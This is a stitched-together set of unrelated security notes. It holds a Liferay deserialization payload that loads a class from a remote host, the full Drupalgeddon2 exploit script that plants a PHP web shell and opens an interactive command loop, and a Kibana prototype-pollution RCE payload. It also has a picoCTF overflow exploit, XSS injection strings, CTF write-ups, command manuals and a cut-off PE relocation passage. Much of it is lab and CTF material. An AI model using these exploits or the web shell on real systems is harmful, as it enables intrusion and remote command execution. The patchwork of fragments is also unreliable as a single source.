+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"} ``` 将上述Payload合并到HTTP请求中发送: ``` POST /api/jsonws/invoke HTTP/1.1 Host: your-ip:8080 Content-Length: 1346 Content-Type: application/x-www-form-urlencoded Connection: close cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"} ``` ![](2.png) 进入容器中查看,发现已经成功执行`touch /tmp/success`: ![](3.png)
sec-knowleage
# Shabak Challenge 2021 - אתגר השב"כ 2021 Writeups for the [2021 ISA Challenge](https://shabakchallenge.com/). Solved with zVaz and YaakovC. Additional resources (including other writeups) can be found [here](https://github.com/Dvd848/CTFs/discussions/10).
sec-knowleage
# Malbolge (Misc, 238p, 153 solved) We can connect to a service which asks us for a Malbolge code which will print `Welcome to EKOPARTY!`: ``` $ nc6 malbolge.ctf.site 40111 nc6: using stream socket Send a malbolge code that print: 'Welcome to EKOPARTY!' (without single quotes) ``` A bit of googling and we find http://www.matthias-ernst.eu/malbolge.html where author created [a program](finder.c) for generating Malbolge programs printing out desired output. We used it and got: ``` bCBA@?>=<;:9876543210/.-,+*)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9y765432+O/.-,+*)i'&}C{"!~w={zyxwYutsrqponmlkjiha'Hdcba`_^]\[ZYXWVUTSRQPONMLKJIHGFED=a;@?>7[|:981U543s10/.',+*#G'&%$#"!~`|u;yxqvun4rqpRhmf,Mchgfedcba`_^]VzZYXWVUTSRQJnNM/KDIBfFEDCBA#?>=<54X810T4321q/.-,+$H('&%$#"bx>|{tyxwvutsrqponmlkd*Kafedc\"m ``` Which in turn gave us the flag: `EKO{0nly4nother3soteric1anguage}`
sec-knowleage
#!/usr/bin/env ruby # # [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/ # # Authors: # - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked # - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k # require 'base64' require 'json' require 'net/http' require 'openssl' require 'readline' # Settings - Proxy information (nil to disable) proxy_addr = nil proxy_port = 8080 # Settings - General $useragent = "drupalgeddon2" webshell = "s.php" writeshell = true # Settings - Payload (we could just be happy without this, but we can do better!) #bashcmd = "<?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?>' bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }" bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d" # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Function http_post <url> [post] def http_post(url, payload="") uri = URI(url) request = Net::HTTP::Post.new(uri.request_uri) request.initialize_http_header({"User-Agent" => $useragent}) request.body = payload return $http.request(request) end # Function gen_evil_url <cmd> def gen_evil_url(evil, feedback=true) # PHP function to use (don't forget about disabled functions...) phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru" #puts "[*] PHP cmd: #{phpmethod}" if feedback puts "[*] Payload: #{evil}" if feedback ## Check the version to match the payload # Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render if $drupalverion.start_with?('8') # Method #1 - Drupal 8, mail, #post_render - response is 200 url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil # Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!) #url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax" #payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil elsif $drupalverion.start_with?('7') # Method #3 - Drupal 7, name, #post_render - response is 200 url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil payload = "form_id=user_pass&_triggering_element_name=name" else puts "[!] Unsupported Drupal version" exit end # Drupal v7 needs an extra value from a form if $drupalverion.start_with?('7') response = http_post(url, payload) form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty? #url = $target + "file/ajax/name/%23value/" + form_build_id url = $target + "?q=file/ajax/name/%23value/" + form_build_id payload = "form_build_id=" + form_build_id end return url, payload end # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Quick how to use if ARGV.empty? puts "Usage: ruby drupalggedon2.rb <target>" puts " ruby drupalgeddon2.rb https://example.com" exit end # Read in values $target = ARGV[0] # Check input for protocol if not $target.start_with?('http') $target = "http://#{$target}" end # Check input for the end if not $target.end_with?('/') $target += "/" end # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Banner puts "[*] --==[::#Drupalggedon2::]==--" puts "-"*80 puts "[*] Target : #{$target}" puts "[*] Write? : Skipping writing web shell" if not writeshell puts "-"*80 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Setup connection uri = URI($target) $http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port) # Use SSL/TLS if needed if uri.scheme == "https" $http.use_ssl = true $http.verify_mode = OpenSSL::SSL::VERIFY_NONE end # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Try and get version $drupalverion = nil # Possible URLs url = [ $target + "CHANGELOG.txt", $target + "core/CHANGELOG.txt", $target + "includes/bootstrap.inc", $target + "core/includes/bootstrap.inc", ] # Check all url.each do|uri| # Check response response = http_post(uri) if response.code == "200" puts "[+] Found : #{uri} (#{response.code})" # Patched already? puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002" # Try and get version from the file contents $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip # If not, try and get it from the URL $drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty? # Done! break elsif response.code == "403" puts "[+] Found : #{uri} (#{response.code})" # Get version from URL $drupalverion = uri.match(/core/)? "8.x" : "7.x" else puts "[!] MISSING: #{uri} (#{response.code})" end end # Feedback if $drupalverion status = $drupalverion.end_with?('x')? "?" : "!" puts "[+] Drupal#{status}: #{$drupalverion}" else puts "[!] Didn't detect Drupal version" puts "[!] Forcing Drupal v8.x attack" $drupalverion = "8.x" end puts "-"*80 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Make a request, testing code execution puts "[*] Testing: Code Execution" # Generate a random string to see if we can echo it random = (0...8).map { (65 + rand(26)).chr }.join url, payload = gen_evil_url("echo #{random}") response = http_post(url, payload) if response.code == "200" and not response.body.empty? #result = JSON.pretty_generate(JSON[response.body]) result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body puts "[+] Result : #{result}" puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?" else puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}" exit end puts "-"*80 # Location of web shell & used to signal if using PHP shell webshellpath = nil prompt = "drupalgeddon2" # Possibles paths to try paths = [ "./", "./sites/default/", "./sites/default/files/", ] # Check all paths.each do|path| puts "[*] Testing: File Write To Web Root (#{path})" # Merge locations webshellpath = "#{path}#{webshell}" # Final command to execute cmd = "#{bashcmd} | tee #{webshellpath}" # Generate evil URLs url, payload = gen_evil_url(cmd) # Make the request response = http_post(url, payload) # Check result if response.code == "200" and not response.body.empty? # Feedback #result = JSON.pretty_generate(JSON[response.body]) result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body puts "[+] Result : #{result}" # Test to see if backdoor is there (if we managed to write it) response = http_post("#{$target}#{webshellpath}", "c=hostname") if response.code == "200" and not response.body.empty? puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!" break else puts "[!] Target is NOT exploitable. No write access here!" end else puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}" end webshellpath = nil end if writeshell puts "-"*80 if writeshell if webshellpath # Get hostname for the prompt prompt = response.body.to_s.strip # Feedback puts "[*] Fake shell: curl '#{$target}#{webshell}' -d 'c=whoami'" elsif writeshell puts "[!] FAILED: Coudn't find writeable web path" puts "[*] Dropping back direct commands (expect an ugly shell!)" end # Stop any CTRL + C action ;) trap("INT", "SIG_IGN") # Forever loop loop do # Default value result = "ERROR" # Get input command = Readline.readline("#{prompt}>> ", true).to_s # Exit break if command =~ /exit/ # Blank link? next if command.empty? # If PHP shell if webshellpath # Send request result = http_post("#{$target}#{webshell}", "c=#{command}").body # Direct commands else url, payload = gen_evil_url(command, false) response = http_post(url, payload) if response.code == "200" and not response.body.empty? result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body end end # Feedback puts result end
sec-knowleage
# Kibana Prototype Pollution Leads to Remote Code Execution (CVE-2019-7609) [中文版本(Chinese Version)](README.zh-cn.md) Kibana is an open source data visualization dashboard for Elasticsearch. Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system. References: - https://nvd.nist.gov/vuln/detail/CVE-2019-7609 - https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/ - https://slides.com/securitymb/prototype-pollution-in-kibana/#/4 ## Setup Before you can setup the environment, you need to change `vm.max_map_count` to greater than 262144 in host server (not in the docker container): ``` sysctl -w vm.max_map_count=262144 ``` Then, start the Kibana 6.5.4 and Elasticsearch 6.8.6: ``` docker compose up -d ``` ## Vulnerability Reproduce After started the environment, the Kibana is listening on `http://your-ip:5106`. The prototype pollution is happens in Timeline visualizer, fill in following payload here: ``` .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ') ``` ![](1.png) Then, visit "Canvas" page to trigger the command `/bin/touch /tmp/success`. The file `/tmp/success` is created successfully: ![](2.png)
sec-knowleage
slocate === 命令查找文件或目录 ## 补充说明 **slocate命令** 是一个命令查找文件或目录。slocate本身具有一个数据库,里面存放了系统中文件与目录的相关信息。 ### 语法 ```shell slocate [-u][--help][--version][-d <目录>][查找的文件] ``` ### 选项 ```shell -d<目录>或--database=<目录>  指定数据库所在的目录。 -u  更新slocate数据库。 --help  显示帮助。 --version  显示版本信息。 ``` ### 实例 使用指令"slocate"显示文件名中含有关键字"fdisk"的文件路径信息,输入如下命令: ```shell $ slocate fdisk #显示文件名中含有fdisk关键字的文件的路径信息 ``` 执行以上命令后,指令执行的输出信息如下: ```shell $ slocate fdisk #显示文件名中含有fdisk 关键字的文件的路径信息 /root/cfdisk #搜索到的文件路径列表 /root/fdisk /root/sfdisk /usr/include/grub/ieee1275/ofdisk.h /usr/share/doc/util-Linux/README.cfdisk /usr/share/doc/util-Linux/README.fdisk.gz /usr/share/doc/util-Linux/examples/sfdisk.examples.gz ```
sec-knowleage
split === 分割任意大小的文件 ## 补充说明 **split命令** 可以将一个大文件分割成很多个小文件,有时需要将文件分割成更小的片段,比如为提高可读性,生成日志等。 ### 选项 ```shell -b:值为每一输出档案的大小,单位为 byte。 -C:每一输出档中,单行的最大 byte 数。 -d:使用数字作为后缀。 -l:值为每一输出档的行数大小。 -a:指定后缀长度(默认为2)。 ``` ### 实例 生成一个大小为100KB的测试文件: ```shell [root@localhost split]# dd if=/dev/zero bs=100k count=1 of=date.file 1+0 records in 1+0 records out 102400 bytes (102 kB) copied, 0.00043 seconds, 238 MB/s ``` 使用split命令将上面创建的date.file文件分割成大小为10KB的小文件: ```shell [root@localhost split]# split -b 10k date.file [root@localhost split]# ls date.file xaa xab xac xad xae xaf xag xah xai xaj ``` 文件被分割成多个带有字母的后缀文件,如果想用数字后缀可使用-d参数,同时可以使用-a length来指定后缀的长度: ```shell [root@localhost split]# split -b 10k date.file -d -a 3 [root@localhost split]# ls date.file x000 x001 x002 x003 x004 x005 x006 x007 x008 x009 ``` 为分割后的文件指定文件名的前缀: ```shell [root@localhost split]# split -b 10k date.file -d -a 3 split_file [root@localhost split]# ls date.file split_file000 split_file001 split_file002 split_file003 split_file004 split_file005 split_file006 split_file007 split_file008 split_file009 ``` 使用-l选项根据文件的行数来分割文件,例如把文件分割成每个包含10行的小文件: ```shell split -l 10 date.file ```
sec-knowleage
# OverFlow 1 Binary Exploitation, 150 points ## Description: > You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "asm.h" #define BUFFSIZE 64 #define FLAGSIZE 64 void flag() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFFSIZE]; gets(buf); printf("Woah, were jumping to 0x%x !\n", get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Give me a string and lets see what happens: "); vuln(); return 0; } ``` ## Solution: This challenge is similar to last year's [buffer overflow 1](/2018_picoCTF/buffer%20overflow%201.md). We override `vuln`'s return address by writing 76 bytes of padding (found using the `pwntools` `cyclic` utility) and an extra 4 bytes containing the address we want to jump to: `flag()`. ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/overflow-1_1_e792baa0d29d24699530e6a26071a260/vuln #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX disabled # PIE: No PIE (0x8048000) # RWX: Has RWX segments import os if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) def send_payload(proc, payload): proc.sendlineafter("Give me a string and lets see what happens: ", payload) def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") os.system("rm core.* > /dev/null") proc = process(exe.path) payload = cyclic(100, n = exe.bytes) send_payload(proc, payload) proc.wait() offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes ) log.info("Overflow offset: {}".format(offset)) return offset overflow_offset = get_overflow_offset() io = start() payload = fit({overflow_offset: exe.symbols["flag"]}) log.info("Sending payload: \n{}".format(hexdump(payload))) send_payload(io, payload) print io.recvall() ``` Output: ```console root@kali:/media/sf_CTFs/pico/OverFlow_1# python exploit.py [*] '/media/sf_CTFs/pico/OverFlow_1/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.zXCJmmb22s' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/overflow-1_1_e792baa0d29d24699530e6a26071a260' [+] Starting local process '/media/sf_CTFs/pico/OverFlow_1/vuln': pid 1204 [*] Process '/media/sf_CTFs/pico/OverFlow_1/vuln' stopped with exit code -11 (SIGSEGV) (pid 1204) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/pico/OverFlow_1/core.1204' Arch: i386-32-little EIP: 0x61616174 ESP: 0xffa798d0 Exe: '/media/sf_CTFs/pico/OverFlow_1/vuln' (0x8048000) Fault: 0x61616174 [*] Overflow offset: 76 [+] Starting remote process '/problems/overflow-1_1_e792baa0d29d24699530e6a26071a260/vuln' on 2019shell1.picoctf.com: pi d 3868255 [*] Sending payload: 00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│ 00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│ 00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6c 61 61 61 │iaaa│jaaa│kaaa│laaa│ 00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 │maaa│naaa│oaaa│paaa│ 00000040 71 61 61 61 72 61 61 61 73 61 61 61 e6 85 04 08 │qaaa│raaa│saaa│····│ 00000050 [+] Receiving all data: Done (77B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 3868255) Woah, were jumping to 0x80485e6 ! picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5a1b468a7} ```
sec-knowleage
## 一、HTML/CSS/JavaScript > Remember, HTML will define the content and structure of our web pages, while CSS will define the visual style and appearance of our web pages. ![html_1](../pictures/HTML_1.png) ![html_2](../pictures/HTML_2.png) 如上图所示,html 是一种文本标记语言,可以说决定了页面的骨架,而css 则决定了页面的可视化样式。 selector 常见的就 type(tag), class(.), id(#),注意的是 id 只能一个页面一个。 e.g `<div class="" id=""></div>` 在html 中引入css 一般有以下3种方式: * 行内式 `<p style="margin-left: 0.5in; margin-right:0.5in">` * 嵌入式;集中写在&lt;head&gt;和&lt;/head&gt;之间 ``` html <style type="text/css"> div{margin: 0;padding: 0;border:1px red solid;} </style> ``` * 链入外部样式表文件 (Linking to a Style Sheet) ``` html <head> <title>title of article</title> <link rel=stylesheet href="http://www.dhtmlet.com/rainer.css" type="text/css"> </head> ``` 还有一些其他类似的文件类型,如 shtml, phtml, jhtml,这类可以算是动态网页,比如 shtml (ssi)可以 `<!--#include ../../1.html -->` 引入一个html,服务器会将其解析并填充在返回的页面中;phtml 即源码包含 `<?php ?>` 语句;jhtml 源码包含 jsp `<% %>` 语句。 当我们浏览器访问一个站点的静态文件,会把文件内容都下载下来,当然如果遇到外联的css/js,会再发起请求得到,右键查看网页源代码可以看到下载的源代码。接着浏览器会开始渲染,包括执行js比如 `document.write()` 之类,就呈现出现在我们所看到的网页模样,可以使用firefox F12 查看 dom 树结构,也可以断点调试js。由于是下载到本地,所以可以自己尝试修改element 查看效果,这并不影响服务器上的原始文件。注意 js 是在客户端执行的,所谓的 dom 树操作就是一系列类似 getElementById 之类的函数,可以动态地改变 dom 树,通俗地说就是可以改变页面的html,人们从浏览器看见的页面也就变化了。 html属性的特点:大小写不敏感,属性值引号不敏感(可以没有引号,也可以是单引号,双引号甚至反引号括起来),此外 标签与属性之间、属性名和等号之间、等号和属性值之间可以用空格、换行符(chr(13))、回车符(chr(10))、或者tab(chr(9))等,并且个数不受限制。 css 的语法特点与 html 标签和属性 的特点类似,这为我们做代码混淆带来很多便利之处。 在html 语法中有标签优先级的概念,有些标签如 &lt;textarea&gt;、&lt;title&gt;、&lt;style&gt;、&lt;script&gt;、&lt;xmp&gt; 等具有非常高的优先级,使得其结束标签甚至可以直接中断其他标签的属性,在引号闭合的前提下。但如&lt;/script&gt; 是不能用来结束&lt;textarea&gt;的,还是需要&lt;/textarea&gt; 来终止后另起script 标签。 ![HTML_3](../pictures/HTML_3.png) ``` html <input type='text' value='aa '><ScRiPt >prompt(333)</ScRiPt> <input type='text' value='aa '</script><ScRiPt >prompt(333)</ScRiPt> <input id="key" name="key" type="text" value=""&gt;&lt;ScriPt&gt;alert(777)&lt;/ScriPt&gt; onmouseover='prompt(907965601)'bad=""> ``` `//` 用于js 注释时只会注释掉 js 域的代码,如 `<input id="a" type="text" value="please input" onfocus="if(value == 'please input'){value='world&#039;;alert();}//'}"/>` 此时被注释掉的 只是 '} 两个字符。 `/* */` 可以用于注释多行 js。 ## 二、编码与转义 ## html 实体编码: 如把尖括号编码[ < ] -----> html 实体:&#38;lt; html 10进制与16进制: 如把尖括号编码[ < ] -----> html十进制: &#38;#60; &nbsp; html十六进制: &#38;#x3c; javascript 的八进制跟十六进制: 如把尖括号编码[ < ] -----> js八进制:\74 &nbsp; js十六进制:\x3c js unicode 编码: 如把尖括号编码[ < ] -----> js unicode:\u003c &nbsp; 中文等多字节字符只能用这种编码 url 编码: 如把尖括号编码[ < ] -----> url: %3C &nbsp; `+` 可以表示空格 如"中文"使用UTF-8字符集得到的字节为0xE4 0xB8 0xAD 0xE6 0x96 0x87,经过Url 编码之后得到"%E4%B8%AD%E6%96%87"。 css 编码 如把尖括号编码[ < ] -----> css:\3c \03c \00003c 都可以 注意:反斜杠 `\` 在script域内会起转义作用,而在html 标签内就是表示的字符含义,从下面alert()出来的字符可以得知。 ``` html <script> var test="a\""; alert(test); </script> <script> var test='a\''; alert(test); </script> <script> var test='a'; alert(test); </script> <input type="text" value="a\" onmousemove=alert(/xss/) " /> ``` ## 三、url 编码 > "...Only alphanumerics [0-9a-zA-Z], the special characters "$-_.+!*'()," [not including the quotes - ed], and reserved characters used for their reserved purposes may be used unencoded within a URL." "只有字母和数字[0-9a-zA-Z]、一些特殊符号 "$ - _ . + ! * ' ( ) ,"[不包括双引号]、以及某些保留字(例如 "# ? : / @ ="等,译者注),才可以不经过编码直接用于URL。" ### 1. Javascript函数:escape() Javascript 语言用于编码的函数,一共有三个,最古老的一个就是escape()。虽然这个函数现在已经不提倡使用了,但是由于历史原因,很多地方还在使用它,所以有必要先从它讲起。 实际上,escape()不能直接用于URL编码,它的真正作用是返回一个字符的Unicode编码值。比如“春节”的返回结果是%u6625%u8282,也就是说在Unicode字符集中,“春”是第6625个(十六进制)字符,“节”是第8282个(十六进制)字符。 它的具体规则是,除了ASCII字母、数字、标点符号 "@ * _ + - . /"以外,对其他所有字符进行编码。在\u0000到\u00ff之间的符号被转成%xx的形式,其余符号被转成%uxxxx的形式。对应的解码函数是unescape()。 所以,"Hello World"的escape()编码就是"Hello%20World"。因为空格的Unicode值是20(十六进制)。 还有两个地方需要注意。 首先,无论网页的原始编码是什么,一旦被Javascript编码,就都变为unicode字符。也就是说,Javascipt函数的输入和输出,默认都是Unicode字符。这一点对下面两个函数也适用。 其次,escape()不对 "+" 编码。但是我们知道,网页在提交表单的时候,如果有空格,则会被转化为+字符。服务器处理数据的时候,会把+号处理成空格。所以,使用的时候要小心。 ### 2. Javascript函数:encodeURI() encodeURI()是Javascript 中真正用来对URL编码的函数。 它着眼于对整个URL进行编码,因此除了常见的符号以外,对其他一些在网址中有特殊含义的符号"; / ? : @ & = + $ , #" 也不进行编码。编码后,它输出符号的utf-8形式,并且在每个字节前加上%。它对应的解码函数是decodeURI()。 需要注意的是,它不对单引号 ' 编码。 ### 3. Javascript函数:encodeURIComponent() 最后一个Javascript编码函数是encodeURIComponent()。与encodeURI()的区别是,它用于对URL的组成部分进行个别编码,而不用于对整个URL进行编码。因此,"; / ? : @ & = + $ , #",这些在encodeURI()中不被编码的符号,在encodeURIComponent()中统统会被编码。至于具体的编码方法,两者是一样。 它对应的解码函数是decodeURIComponent()。 ## 四、JS 的错误中断 ## js 的错误中断有两种。 * 是解析时语法错误。解析时的错误会导致整个SCRIPT标签(&lt;script&gt; 以及 &lt;script src=xx.js&gt;)的代码不被解析,所以更不用说运行了,这也是为什么解析时的错误无法用try 语句屏蔽的原因。 * 是运行时错误。除了解析时的错误外还有运行时的错误,这种错误并不在解析时判断,而是在代码运行之后,但是这也并不简单,首先要搞明白JavaScript的消息机制。运行时的错误会使处理当前消息的代码中断,而在错误之前的代码是可以被执行到。ECMASCRIPT规范中的一句话: 当程序解析器从左至右解析程序的时候,如果遇到了输入文档流的结尾,而解析器无法正常解析文档流的时候,一个分号会被自动插入到输入流的结尾。无论解析时错误还是运行时错误,它们都不会影响其他消息的执行(即其他 script 标签内的流程)。 在调试程序错误的时候,我们可以先查看是否程序的语法有错误,在文档头部书写一个alert 语句,如果此语句无法运行就说明程序的语法有错误,这种错误基本都很容易发现(比如各种未定义的token)。解析时错误则显示在chrome里的console选项卡里一般显示为 SyntaxError,运行时错误比较多种如 Uncaught URIError。 如果在一个函数内部发生了错误,它自身没有捕获,错误就会被抛到外层调用函数,如果外层函数也没有捕获,该错误会一直沿着函数调用链向上抛出,直到被JavaScript 引擎捕获,代码终止执行。 ## 五、JS 的名字空间 JavaScript 实际上只有一个全局作用域。任何变量(函数也视为变量),如果没有在当前函数作用域中找到,就会继续往上查找,最后如果在全局作用域中也没有找到,则报ReferenceError 错误。 ### 名字空间 全局变量会绑定到window上,不同的JavaScript文件如果使用了相同的全局变量,或者定义了相同名字的顶层函数,都会造成命名冲突,并且很难被发现。 减少冲突的一个方法是把自己的所有变量和函数全部绑定到一个全局变量中。例如: ``` javascript // 唯一的全局变量MYAPP: var MYAPP = {}; // 其他变量: MYAPP.name = 'myapp'; MYAPP.version = 1.0; // 其他函数: MYAPP.foo = function () { return 'foo'; }; ``` 把自己的代码全部放入唯一的名字空间MYAPP中,会大大减少全局变量冲突的可能。 许多著名的JavaScript库都是这么干的:jQuery,YUI,underscore等等。
sec-knowleage
# 基址重定位表 链接器在生成 PE 文件时,它假设执行时 PE 文件会被装载到默认的基地址处,于是将代码和数据的绝对地址都写入到 PE 文件中。如果装载时 PE 文件确实装载到了默认基地址处,就不需要进行重定位;但是,如果转载时 PE 文件装载到了别处,此时文件中的绝对地址就都失效了,因为装载基地址已经改变,代码和数据的实际地址也相应的改变了,这时就需要通过重定位修复绝对地址,使其都能指向正确的位置。 对于 EXE 文件,每个文件在执行时都会使用独立的虚拟地址空间,即总是能装载到在默认基地址处,也就不需要重定位信息;但是,同一个虚拟地址空间中可能存在多个 DLL,可能有的 DLL 就会面临默认基地址已经被占用的情况,所以 DLL 需要重定位信息。 ## 重定位结构体 在 PE 文件中,所有可能需要重定位的地址都被放在一个数组中,即基址重定位表。如果装载地址改变了,就会对数组中所有的地址进行修正。基址重定位表位于节区 .reloc 内,不过找到它的正确方式是通过 `DataDirectory[5]` 即 BASE RELOCATION TABLE 项。 基址重定位数据的组织方式采用按页分割的方法,即将不同页的重定位数据分开存放,每个页的重定位数据组成一个重定位数据块,所有的重定位块组成了重定位表。每个重定位块存放着 4KB 大小的重定位信息,每个重定位数据块的大小必须以 DWORD 对齐。重定位块以一个 `IMAGE_BASE_RELOCATION` 结构作为开始,其结构体如下: ```c typedef struct _IMAGE_BASE_RELOCATION { DWORD VirtualAddress; // 重定位页的 RVA DWORD SizeOfBlock; // 重定位块的大小 WORD TypeOffset; // 重定位条目的类型于偏移 } _IMAGE_BASE_RELOCATION; typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION; ``` 接下来详细说明一下结构体中的成员: - **VirtualAddress 重定位页 RVA。以映像装载基址加上页 RVA 的和作为被加数,再加上重定位项对应的 offset 就能得到其在内存中实际的 VA。最后一个重定位块的尾部也会添加一个 virtualaddress 字段作为结束标志。** - **SizeOfBlock 